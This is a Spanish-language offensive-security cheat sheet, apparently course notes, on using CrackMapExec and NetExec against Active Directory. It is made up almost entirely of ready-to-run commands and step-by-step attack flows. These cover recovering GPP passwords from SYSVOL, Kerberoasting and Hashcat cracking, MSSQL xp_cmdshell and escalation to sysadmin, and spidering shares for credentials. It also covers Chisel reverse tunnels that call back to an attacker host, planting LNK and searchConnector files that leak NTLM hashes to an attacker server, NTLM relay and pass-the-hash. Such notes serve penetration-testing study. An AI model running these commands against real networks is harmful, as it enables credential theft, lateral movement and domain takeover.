Skip to content

Searching for Accounts in Group Policy Objects

Técnica que busca credenciales almacenadas en Group Policy Objects (GPO), especialmente efectiva en entornos antiguos (Windows Server 2003/2008). Todo usuario del dominio puede leer los GPOs, por lo que si hay credenciales almacenadas ahí, son accesibles con cualquier cuenta válida.

Links: CrackMapExec Wiki | NetExec Docs | GPP Passwords - ADSecurity


Módulos disponibles

CME/NXC tiene dos módulos para esto, ambos buscan en el share SYSVOL del DC.

  • gpp_password — Busca contraseñas en archivos XML de Group Policy Preferences (GPP). Las contraseñas estaban cifradas con AES-256 pero Microsoft publicó la clave, por lo que se pueden descifrar en texto plano.
  • gpp_autologin — Busca archivos Registry.xml en los GPOs que contengan configuración de autologin, devolviendo usuario y contraseña en texto claro.

gpp_password

Recupera credenciales de cuentas distribuidas vía Group Policy Preferences. Busca archivos Groups.xml y similares dentro de SYSVOL.

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M gpp_password

# NetExec
netexec smb <IP> -u <user> -p '<password>' -M gpp_password

gpp_autologin

Busca configuraciones de autologin guardadas en Registry.xml dentro de los GPOs. Devuelve usuario, dominio y contraseña en texto claro.

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M gpp_autologin

# NetExec
netexec smb <IP> -u <user> -p '<password>' -M gpp_autologin

Validar credenciales encontradas

Una vez obtenidas las credenciales hay que verificar que siguen siendo válidas antes de usarlas.

bash
# CrackMapExec
crackmapexec smb <IP> -u <user_found> -p '<password_found>'

# NetExec
netexec smb <IP> -u <user_found> -p '<password_found>'

Flujo del ataque

  • Tener una cuenta de dominio válida (cualquier usuario)
  • Correr gpp_password y gpp_autologin contra el DC
  • Recopilar las credenciales encontradas en texto claro
  • Validarlas contra SMB
  • Verificar acceso a otros protocolos: WinRM, MSSQL, RDP, etc.
  • Identificar privilegios de las cuentas obtenidas.

Working with Modules

CME/NXC soporta módulos por protocolo que extienden su funcionalidad. Cada protocolo tiene su propio set de módulos.

Links: CrackMapExec Wiki | NetExec Docs


Listar módulos disponibles por protocolo

bash
# CrackMapExec
crackmapexec <protocolo> -L

# NetExec
netexec <protocolo> -L

# Ejemplos por protocolo
crackmapexec ldap -L
crackmapexec smb -L
netexec ldap -L
netexec smb -L

Ver opciones de un módulo

bash
# CrackMapExec
crackmapexec <protocolo> -M <modulo> --options

# NetExec
netexec <protocolo> -M <modulo> --options

# Ejemplo
crackmapexec ldap -M user-desc --options
netexec ldap -M user-desc --options

Ejecutar un módulo

bash
# CrackMapExec
crackmapexec <protocolo> <target> -u <user> -p '<password>' -M <modulo>

# NetExec
netexec <protocolo> <target> -u <user> -p '<password>' -M <modulo>

Ejecutar un módulo con opciones

Las opciones se pasan con -o en formato KEY=value.

bash
# CrackMapExec
crackmapexec <protocolo> <target> -u <user> -p '<password>' -M <modulo> -o KEY=value

# NetExec
netexec <protocolo> <target> -u <user> -p '<password>' -M <modulo> -o KEY=value

Módulo user-desc

Busca descripciones de usuarios en AD que contengan keywords de interés. Muy útil para encontrar contraseñas, IPs u otra info sensible guardada en el campo descripción de cuentas.

Los keywords por defecto son: pass, creds, creden, key, secret, default.

Guarda todas las descripciones en un archivo de log independientemente de los keywords.

Importante: Con null session puede devolver descripciones limitadas. Usar credenciales válidas junto con el FQDN del DC para obtener todas las descripciones del dominio.

bash
# Búsqueda con keywords por defecto
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc

# Reemplazar keywords por defecto
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=pwd,admin
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=pwd,admin

# Buscar IPs en descripciones
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=IP
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o KEYWORDS=IP

# Agregar keywords adicionales sin reemplazar los por defecto
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o ADD_KEYWORDS=IP,token
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o ADD_KEYWORDS=IP,token

# Filtrar por nombre de usuario específico
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o USER_FILTER=admin*
netexec ldap dc01.domain.local -u <user> -p '<password>' -M user-desc -o USER_FILTER=admin*

El log en CME se guarda en ~/.cme/logs/UserDesc-<IP>-<fecha>.log y en NXC en ~/.nxc/UserDesc-<FQDN>-<fecha>.log.

bash
# Ver todas las descripciones guardadas
cat ~/.cme/logs/UserDesc-*.log
cat ~/.nxc/UserDesc-*.log

# Buscar IPs en el log
cat ~/.nxc/UserDesc-*.log | grep -E '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'

Módulo MAQ

Recupera el atributo MachineAccountQuota del dominio, que indica cuántas máquinas puede unir al dominio un usuario estándar.

bash
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M MAQ
netexec ldap dc01.domain.local -u <user> -p '<password>' -M MAQ

Módulo groupmembership

Consulta los grupos a los que pertenece un usuario específico.

bash
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M groupmembership -o USER=<target_user>
netexec ldap dc01.domain.local -u <user> -p '<password>' -M groupmembership -o USER=<target_user>

Ver código fuente de un módulo

Los módulos de CME están en Python y se pueden inspeccionar directamente para conocer su comportamiento interno, keywords por defecto, etc.

bash
# Ubicación de los módulos CME
ls CrackMapExec/cme/modules/

# Ver keywords de un módulo
cat CrackMapExec/cme/modules/user_description.py | grep keywords

Nota sobre LDAP y FQDN

Los módulos LDAP requieren usar el FQDN del DC, no la IP. Configurar en /etc/hosts si no hay resolución DNS disponible.

bash
echo '<IP> domain.htb dc01.domain.local' >> /etc/hosts

MSSQL Enumeration and Attacks

MSSQL es un objetivo de alto valor ya que almacena datos sensibles y permite ejecutar comandos del sistema operativo mediante xp_cmdshell. Con CME/NXC se puede interactuar directamente contra el servicio.

Links: CrackMapExec Wiki | NetExec Docs | xp_cmdshell | OPENROWSET | Ole Automation


Tipos de autenticación en MSSQL

  • Cuenta de Active Directory → usar -d <dominio>
  • Cuenta local de Windows → usar -d .
  • Cuenta SQL local → usar --local-auth

El output (Pwn3d!) indica que el usuario es DBA (Database Administrator) y puede ejecutar comandos del sistema.


Ejecutar queries SQL

bash
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' -q "<query SQL>"

# NetExec
netexec mssql <IP> -u <user> -p '<password>' -q "<query SQL>"

# Con cuenta SQL local
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth -q "<query SQL>"
netexec mssql <IP> -u <user> -p '<password>' --local-auth -q "<query SQL>"

Queries útiles

sql
-- Listar todas las bases de datos
SELECT name FROM master.dbo.sysdatabases

-- Listar tablas de una base de datos
SELECT table_name FROM <database>.INFORMATION_SCHEMA.TABLES

-- Volcar contenido de una tabla
SELECT * FROM [<database>].[dbo].<tabla>

Ejecutar comandos Windows (xp_cmdshell)

Requiere ser DBA. CME/NXC habilita xp_cmdshell automáticamente si el usuario tiene permisos.

bash
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth -x "whoami"
crackmapexec mssql <IP> -u <user> -p '<password>' -x "whoami"

# NetExec
netexec mssql <IP> -u <user> -p '<password>' --local-auth -x "whoami"
netexec mssql <IP> -u <user> -p '<password>' -x "whoami"

Nota: Ejecutar comandos vía MSSQL no implica ser administrador local del sistema Windows.


Transferencia de archivos

Subir archivo al target

bash
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth --put-file <archivo_local> <ruta_destino_windows>

# NetExec
netexec mssql <IP> -u <user> -p '<password>' --local-auth --put-file <archivo_local> <ruta_destino_windows>

Descargar archivo del target

bash
# CrackMapExec
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth --get-file <ruta_windows> <archivo_local_salida>

# NetExec
netexec mssql <IP> -u <user> -p '<password>' --local-auth --get-file <ruta_windows> <archivo_local_salida>

Módulo mssql_priv - Escalada de privilegios

Enumera y explota vectores de escalada de privilegios en MSSQL. Busca EXECUTE AS LOGIN y db_owner role para escalar a sysadmin.

Ver opciones del módulo

bash
crackmapexec mssql -M mssql_priv --options
netexec mssql -M mssql_priv --options

Enumerar privilegios (por defecto)

bash
crackmapexec mssql <IP> -u <user> -p '<password>' -M mssql_priv
netexec mssql <IP> -u <user> -p '<password>' -M mssql_priv

Escalar privilegios a sysadmin

bash
crackmapexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=privesc
netexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=privesc

Revertir privilegios al estado original

bash
crackmapexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=rollback
netexec mssql <IP> -u <user> -p '<password>' -M mssql_priv -o ACTION=rollback

Nota: El módulo mssql_priv con múltiples usuarios necesita probarse uno por uno. No es compatible con --no-bruteforce y --continue-on-success.


Flujo del ataque

  • Autenticar con credenciales obtenidas previamente
  • Verificar si el usuario es DBA (Pwn3d! en el output)
  • Enumerar bases de datos, tablas y contenido con -q
  • Si no es DBA, usar mssql_priv para intentar escalar
  • Una vez como sysadmin, ejecutar comandos con -x
  • Transferir archivos con --put-file / --get-file según necesidad
  • Revertir privilegios con ACTION=rollback tras terminar

Finding Kerberoastable Accounts

Ataque que obtiene tickets TGS de cuentas con servicePrincipalName (SPN) configurado, generalmente service accounts. Cualquier cuenta válida del dominio puede solicitar estos tickets, cuya parte cifrada con el hash NTLM de la cuenta puede crackearse offline.

Links: CrackMapExec Wiki | NetExec Docs | Hashcat


¿Cómo funciona?

Cualquier usuario autenticado en el dominio puede pedir un TGS para cualquier SPN. El ticket devuelto contiene datos cifrados con el hash de la cuenta de servicio, permitiendo crackeo offline sin más interacción con el dominio.


Obtener hashes Kerberoastables

Requiere una cuenta válida del dominio y usar el FQDN del DC. Los hashes se guardan en el archivo especificado.

bash
# CrackMapExec
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --kerberoasting kerberoasting.out

# NetExec
netexec ldap dc01.domain.local -u <user> -p '<password>' --kerberoasting kerberoasting.out

El output muestra por cada cuenta vulnerable su sAMAccountName, grupos a los que pertenece, fecha del último cambio de contraseña y el hash $krb5tgs$23$.


Crackear los hashes

Los hashes se crackean offline con Hashcat usando el módulo 13100.

bash
hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txt

Opciones adicionales útiles

bash
# Ver hashes ya crackeados
hashcat -m 13100 kerberoasting.out --show

# Con reglas para mayor cobertura
hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Validar credenciales obtenidas

Una vez crackeada la contraseña, verificar que la cuenta sigue activa contra SMB.

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>'

# NetExec
netexec smb <IP> -u <user> -p '<password>'

Diferencia con ASREPRoasting

  • Kerberoasting → ataca cuentas con SPN configurado, requiere credencial válida, módulo Hashcat 13100
  • ASREPRoasting → ataca cuentas sin pre-auth Kerberos, puede hacerse sin credenciales con lista de usuarios, módulo Hashcat 18200

Flujo del ataque

  • Tener una cuenta de dominio válida
  • Correr --kerberoasting vía LDAP contra el FQDN del DC
  • Los hashes quedan en el archivo de salida
  • Crackear offline con Hashcat módulo 13100
  • Validar las credenciales obtenidas contra SMB
  • Verificar acceso a otros protocolos y shares con la nueva cuenta

Spidering and Finding Juicy Information in an SMB Share

Las carpetas compartidas son una fuente común de información sensible en entornos corporativos. CME/NXC permite enumerar shares, buscar archivos por nombre o contenido y transferirlos.

Links: CrackMapExec Wiki | NetExec Docs | Impacket smbclient


Enumerar shares y permisos

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --shares

# NetExec
netexec smb <IP> -u <user> -p '<password>' --shares

Muestra cada share con sus permisos READ, WRITE o READ,WRITE. Sin permiso aparece vacío.

Nota: --shares no soporta múltiples usuarios y contraseñas simultáneamente, hay que probar cuenta por cuenta.


Spider - Buscar archivos en un share

Buscar por patrón en nombre de archivo

El --pattern busca coincidencias en el nombre del archivo (no es case-sensitive estrictamente, admite texto parcial).

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --pattern <texto>

# NetExec
netexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --pattern <texto>

# Ejemplo: buscar archivos con "txt" en el nombre
crackmapexec smb <IP> -u <user> -p '<password>' --spider IT --pattern txt
netexec smb <IP> -u <user> -p '<password>' --spider IT --pattern txt

Listar todos los archivos y directorios

Con --regex . se listan todos los archivos y carpetas dentro del share.

bash
crackmapexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --regex .
netexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --regex .

Buscar dentro del contenido de los archivos

Con --content se habilita la búsqueda dentro del contenido de los archivos, combinado con --regex.

bash
crackmapexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --content --regex <palabra>
netexec smb <IP> -u <user> -p '<password>' --spider <SHARE> --content --regex <palabra>

# Ejemplo: buscar archivos que contengan "password"
crackmapexec smb <IP> -u <user> -p '<password>' --spider IT --content --regex password
netexec smb <IP> -u <user> -p '<password>' --spider IT --content --regex password

Descargar un archivo de un share

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --share <SHARE> --get-file <ruta_en_share> <archivo_local>

# NetExec
netexec smb <IP> -u <user> -p '<password>' --share <SHARE> --get-file <ruta_en_share> <archivo_local>

# Ejemplo
crackmapexec smb <IP> -u grace -p 'Pass123!' --share IT --get-file Creds.txt Creds.txt
netexec smb <IP> -u grace -p 'Pass123!' --share IT --get-file Creds.txt Creds.txt

Subir un archivo a un share

Requiere permisos de WRITE en el share destino.

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --share <SHARE> --put-file <archivo_local> <nombre_en_share>

# NetExec
netexec smb <IP> -u <user> -p '<password>' --share <SHARE> --put-file <archivo_local> <nombre_en_share>

Nota: Si falla la transferencia de un archivo grande, reintentar. Para timeouts usar --smb-timeout <segundos> con un valor mayor al default de 2.


Módulo spider_plus

Enumera todos los archivos de todos los shares accesibles y genera un JSON con la información. Por defecto solo lista (no descarga) y guarda el resultado en /tmp/cme_spider_plus/<IP>.json.

Ver opciones del módulo

bash
crackmapexec smb -M spider_plus --options
netexec smb -M spider_plus --options

Listar archivos en todos los shares (solo indexar)

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL
netexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL

Ver el JSON generado

bash
cat /tmp/cme_spider_plus/<IP>.json

Descargar todo el contenido accesible

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=ADMIN$,IPC$,print$,NETLOGON,SYSVOL READ_ONLY=false
netexec smb <IP> -u <user> -p '<password>' -M spider_plus -o EXCLUDE_DIR=ADMIN$,IPC$,print$,NETLOGON,SYSVOL READ_ONLY=false

Los archivos se descargan en /tmp/cme_spider_plus/<IP>/.

Opciones disponibles de spider_plus

  • READ_ONLY — Solo listar archivos sin descargar (default: True)
  • EXCLUDE_EXTS — Extensiones a excluir (default: ico,lnk)
  • EXCLUDE_DIR — Directorios/shares a excluir (default: print$)
  • MAX_FILE_SIZE — Tamaño máximo de archivo a descargar en bytes (default: 51200)
  • OUTPUT_FOLDER — Carpeta de salida local (default: /tmp/cme_spider_plus)

Flujo del ataque

  • Enumerar shares con --shares para identificar accesos READ/WRITE
  • Usar --spider con --pattern o --regex para encontrar archivos de interés
  • Si se necesita buscar dentro del contenido, agregar --content
  • Descargar archivos interesantes con --get-file
  • Para una enumeración masiva de todos los shares usar spider_plus
  • Revisar el JSON generado para encontrar archivos sensibles en cualquier share

Proxychains with CME

Técnica para pivotar a través de un host comprometido y atacar redes internas no accesibles directamente, usando Chisel como túnel y Proxychains para redirigir el tráfico de CME/NXC.

Links: CrackMapExec Wiki | NetExec Docs | Chisel | Chisel Releases


Escenario

Host comprometido con dos interfaces de red actúa como pivot entre el atacante y una red interna no alcanzable directamente.

Atacante (10.10.14.7) --> MS01 (10.129.204.133 / 172.16.1.5) --> DC01 (172.16.1.10)

Modo 1 - Linux como servidor, Windows como cliente (Reverse Tunnel)

Paso 1 - Iniciar Chisel server en el atacante

bash
# Descargar Chisel para Linux
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz -O chisel.gz
gunzip -d chisel.gz
chmod +x chisel

# Iniciar servidor con reverse tunneling
./chisel server --reverse

Paso 2 - Subir Chisel para Windows al host comprometido

bash
# Descargar binario para Windows
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz -O chisel.exe.gz
gunzip -d chisel.exe.gz

# Subir al host comprometido via CME/NXC
crackmapexec smb <IP_MS01> -u <user> -p '<password>' --put-file ./chisel.exe \\Windows\\Temp\\chisel.exe
netexec smb <IP_MS01> -u <user> -p '<password>' --put-file ./chisel.exe \\Windows\\Temp\\chisel.exe

Paso 3 - Ejecutar Chisel client en el host comprometido

bash
# Conectar al servidor Chisel del atacante (R:socks = reverse SOCKS proxy en puerto 1080)
crackmapexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe client <IP_ATACANTE>:8080 R:socks"
netexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe client <IP_ATACANTE>:8080 R:socks"

Paso 4 - Verificar que el túnel está activo

bash
# Confirmar que el puerto 1080 está escuchando
netstat -lnpt | grep 1080

Modo 2 - Windows como servidor, Linux como cliente

Iniciar Chisel server en el host comprometido

bash
crackmapexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe server --socks5"
netexec smb <IP_MS01> -u <user> -p '<password>' -x "C:\Windows\Temp\chisel.exe server --socks5"

Conectar desde el atacante al servidor Chisel

bash
sudo chisel client <IP_MS01>:8080 socks

Configurar Proxychains

Agregar la entrada SOCKS5 al archivo de configuración de Proxychains:

bash
# Editar /etc/proxychains.conf
# En la sección [ProxyList] agregar:
socks5  127.0.0.1 1080

Usar CME/NXC a través de Proxychains

bash
# Con output de proxychains visible
sudo proxychains crackmapexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --shares
sudo proxychains netexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --shares

# Con output limpio (sin logs de proxychains)
sudo proxychains4 -q crackmapexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --shares
sudo proxychains4 -q netexec smb <IP_RED_INTERNA> -u <user> -p '<password>' --shares

Cualquier comando de CME/NXC funciona a través de Proxychains simplemente anteponiendo proxychains o proxychains4 -q.


Detener Chisel en el host comprometido

Una vez terminado el pivoting, matar el proceso Chisel con PowerShell via CME/NXC:

bash
# CrackMapExec
crackmapexec smb <IP_MS01> -u <user> -p '<password>' -X "Stop-Process -Name chisel -Force"

# NetExec
netexec smb <IP_MS01> -u <user> -p '<password>' -X "Stop-Process -Name chisel -Force"

Luego cerrar el servidor Chisel en el atacante con CTRL + C.


Flujo completo del ataque

  • Subir Chisel al host comprometido con --put-file
  • Iniciar Chisel server en el atacante con --reverse
  • Ejecutar Chisel client en el host comprometido con -x
  • Verificar que el puerto 1080 está escuchando en el atacante
  • Configurar /etc/proxychains.conf con socks5 127.0.0.1 1080
  • Ejecutar CME/NXC anteponiendo proxychains4 -q para alcanzar la red interna
  • Al terminar, matar Chisel en el target con -X "Stop-Process -Name chisel -Force"

Stealing Hashes

Técnica que fuerza a usuarios o equipos a autenticarse contra un servidor SMB falso controlado por el atacante, capturando hashes NTLMv2 que luego se crackean o se retransmiten (NTLM Relay) a otras máquinas.

Links: CrackMapExec Wiki | NetExec Docs | Responder | Impacket ntlmrelayx | Harvesting NetNTLM - MDSec | Search Connectors en Windows


¿Cómo funciona?

Se coloca un archivo malicioso (LNK, .searchConnector-ms, .library-ms) en un share con permisos de escritura. Cuando un usuario navega al share, Windows intenta resolver el ícono o la URL especificada en el archivo, forzando una autenticación NTLMv2 contra el servidor del atacante.


Módulo slinky - Archivos LNK

Crea shortcuts .lnk en todos los shares con permisos de escritura. El atributo de ícono apunta a un UNC path del servidor del atacante.

Nota: Este módulo no es opsec safe. CME pedirá confirmación antes de ejecutarlo.

Ver opciones del módulo

bash
crackmapexec smb -M slinky --options
netexec smb -M slinky --options

Crear el archivo LNK

bash
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=<nombre_archivo>

# NetExec
netexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=<nombre_archivo>

# Con Proxychains para red interna
proxychains4 -q crackmapexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=important
proxychains4 -q netexec smb <IP> -u <user> -p '<password>' -M slinky -o SERVER=<IP_ATACANTE> NAME=important

Limpiar el archivo LNK al terminar

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M slinky -o NAME=<nombre_archivo> CLEANUP=YES
netexec smb <IP> -u <user> -p '<password>' -M slinky -o NAME=<nombre_archivo> CLEANUP=YES

Capturar el hash con Responder

Mientras el LNK está activo, iniciar Responder en la interfaz correspondiente y esperar que un usuario navegue al share.

bash
sudo responder -I <interfaz>
# Ejemplo: sudo responder -I tun0

Nota: Verificar que la opción SMB = On en Responder.conf para capturar los hashes.

Crackear el hash NTLMv2 capturado

bash
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

NTLM Relay

En lugar de crackear el hash, se puede retransmitir directamente a máquinas con SMB Signing deshabilitado. Si el usuario tiene privilegios de admin local en el target, ntlmrelayx vuelca automáticamente la SAM.

Generar lista de targets sin SMB Signing

bash
# CrackMapExec
crackmapexec smb <red/CIDR> --gen-relay-list relay.txt

# NetExec
netexec smb <red/CIDR> --gen-relay-list relay.txt

# Con Proxychains
proxychains4 -q crackmapexec smb 172.16.1.0/24 --gen-relay-list relay.txt
proxychains4 -q netexec smb 172.16.1.0/24 --gen-relay-list relay.txt

Ejecutar ntlmrelayx

bash
sudo ntlmrelayx.py -tf relay.txt -smb2support --no-http

# Con Proxychains para red interna
sudo proxychains4 -q ntlmrelayx.py -tf relay.txt -smb2support --no-http

Autenticar con el hash obtenido (Pass-the-Hash)

bash
# CrackMapExec
crackmapexec smb <IP> -u administrator -H <NTHASH> --local-auth

# NetExec
netexec smb <IP> -u administrator -H <NTHASH> --local-auth

# Con Proxychains
proxychains4 -q crackmapexec smb <IP> -u administrator -H <NTHASH> --local-auth
proxychains4 -q netexec smb <IP> -u administrator -H <NTHASH> --local-auth

Módulo drop-sc - Archivos searchConnector-ms

Alternativa al LNK usando el formato .searchConnector-ms que integra con Windows Explorer para mostrar contenido desde ubicaciones remotas, incluyendo WebDAV. Más difícil de detectar que LNK.

Nota: Este módulo tampoco es opsec safe. CME pedirá confirmación.

Ver opciones del módulo

bash
crackmapexec smb -M drop-sc --options
netexec smb -M drop-sc --options

Crear el archivo searchConnector-ms

La URL debe escaparse con doble backslash: \\\\<IP>\\<nombre>.

bash
# En un share específico con nombre personalizado
crackmapexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=<SHARE> FILENAME=<nombre>
netexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=<SHARE> FILENAME=<nombre>

# Con Proxychains
proxychains4 -q crackmapexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=IT-Tools FILENAME=secret
proxychains4 -q netexec smb <IP> -u <user> -p '<password>' -M drop-sc -o URL=\\\\<IP_ATACANTE>\\secret SHARE=IT-Tools FILENAME=secret

Limpiar el archivo searchConnector-ms

bash
crackmapexec smb <IP> -u <user> -p '<password>' -M drop-sc -o CLEANUP=True FILENAME=<nombre>
netexec smb <IP> -u <user> -p '<password>' -M drop-sc -o CLEANUP=True FILENAME=<nombre>

Opciones de drop-sc

  • URL — URL del servidor WebDAV/SMB falso (escapar con \\\\)
  • CLEANUP — Limpiar archivos creados (True o False)
  • SHARE — Share específico donde crear el archivo (si no se especifica, aplica a todos con WRITE)
  • FILENAME — Nombre del archivo sin extensión (default: Documents)

Flujo completo del ataque

  • Identificar shares con permisos WRITE con --shares
  • Generar lista de targets sin SMB Signing con --gen-relay-list
  • Iniciar ntlmrelayx o Responder en el atacante
  • Colocar el archivo malicioso con slinky o drop-sc
  • Esperar que un usuario navegue al share
  • Si se usa Responder: capturar el hash y crackear con Hashcat (-m 5600)
  • Si se usa ntlmrelayx: el relay vuelca la SAM automáticamente si el usuario es admin local
  • Autenticar con Pass-the-Hash usando el hash obtenido
  • Limpiar los archivos creados con CLEANUP=YES o CLEANUP=True